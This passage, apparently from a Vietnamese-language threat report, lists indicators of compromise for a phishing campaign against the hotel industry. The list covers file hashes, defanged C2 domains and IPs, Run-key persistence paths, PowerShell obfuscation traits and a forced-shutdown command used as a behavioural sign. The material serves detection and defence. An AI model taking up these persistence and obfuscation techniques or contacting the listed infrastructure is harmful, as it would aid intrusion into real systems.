c5baa0c16b0074a1e94b48aa0177e9bfc23746aca8a5b42848a6685da85658b5   # qFWe908J.ps1 (419 KB, Wave 2)
b7f46b192cd83a1d2487cb048cca645f6e8855b9673d500d50bbdb04eebc6bea   # bjygtujc.dll (3.072 byte, compiled .NET, Wave 2)
d14ba95cdce1ef7dc9ad3ac74949ca5db38b27378ee30f30a23cf26f9e875a11   # node.exe v24.13.0-win-x64 (89,9 MB, chính chủ nodejs.org)
9f10e3b6e5745784f26d18c38ce01fba054b19749c17260978ac11472564aee2   # IMG-386443483.png.lnk (Wave 1)
97448688b292bfec6d83b153588076fe59b111c35ac4e42a916238df16a71e2f   # PHOTO-215746435.png.lnk (Wave 2)

# Domain (defanged) — C2 / phishing
sec-safe-dc[.]info          # active cả hai wave
photo-26254[.]cfd           # landing page Wave 2
photo-26654[.]cfd           # landing page Wave 2
photo-132454[.]cfd          # landing page Wave 2
zloapobikahy23[.]bond       # C2 Wave 2
higoksbupwou[.]com          # C2 Wave 2

# IP Address (defanged)
178[.]16[.]54[.]27      # primary, active cả hai wave, cổng 56001/56002
95[.]217[.]97[.]121     # persistent beacon Wave 1
193[.]202[.]84[.]32     # secondary Wave 1
178[.]16[.]55[.]179     # additional Wave 1

# Network pattern
Cổng phi chuẩn: 8443, 8445, 8453, 5555, 56001, 56002, 56003

# Host artifact
C:\Users\<user>\AppData\Local\Nodejs\<random>.js
C:\ProgramData\<random>\<random>.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\Run       → trỏ node.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce   → trỏ ProgramData EXE (tự làm mới)

# Behavioral IOC
Shortcut .png.lnk khởi chạy PowerShell chứa cú pháp [bigint] và -bxor/-band/-shr hoặc % và /
csc.exe spawn cvtres.exe từ tiến trình con của PowerShell chạy tại %TEMP%
cmd /c shutdown -s -t 0 xuất hiện ngay sau hoạt động browser automation --headless --no-sandbox
```

---

*Nguồn tham khảo:*

- [Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access](https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/) — Microsoft Security Blog
- [Technical Analysis of Suspicious Emails Targeting the Hotel Industry](https://socprime.com/active-threats/technical-analysis-of-suspicious-emails-targeting-the-hotel-industry/) — SOC Prime
- [Microsoft Warns of Photo ZIP Phishing Campaign Targeting Hotels with Node.js Implant](https://thehackernews.com/2026/06/microsoft-warns-of-photo-zip-phishing.html) — The Hacker News
- [Hospitality Sector Hit by Phishing Campaign Using Fake Guest Complaint Emails](https://securityaffairs.com/194349/uncategorized/hospitality-sector-hit-by-phishing-campaign-using-fake-guest-complaint-emails.html) — Security Affairs
- [Hotel Phishing Clears All Email Security Filters: Microsoft Names New Attack Class](https://www.travelerstoday.com/articles/60309/20260626/hotel-phishing-clears-all-email-security-filters-microsoft-names-new-attack-class.htm) — Travelers Today
- [Hotel Cybersecurity: A Practical Threat Playbook for Hospitality (2026)](https://hoxhunt.com/blog/hotel-cybersecurity) — Hoxhunt
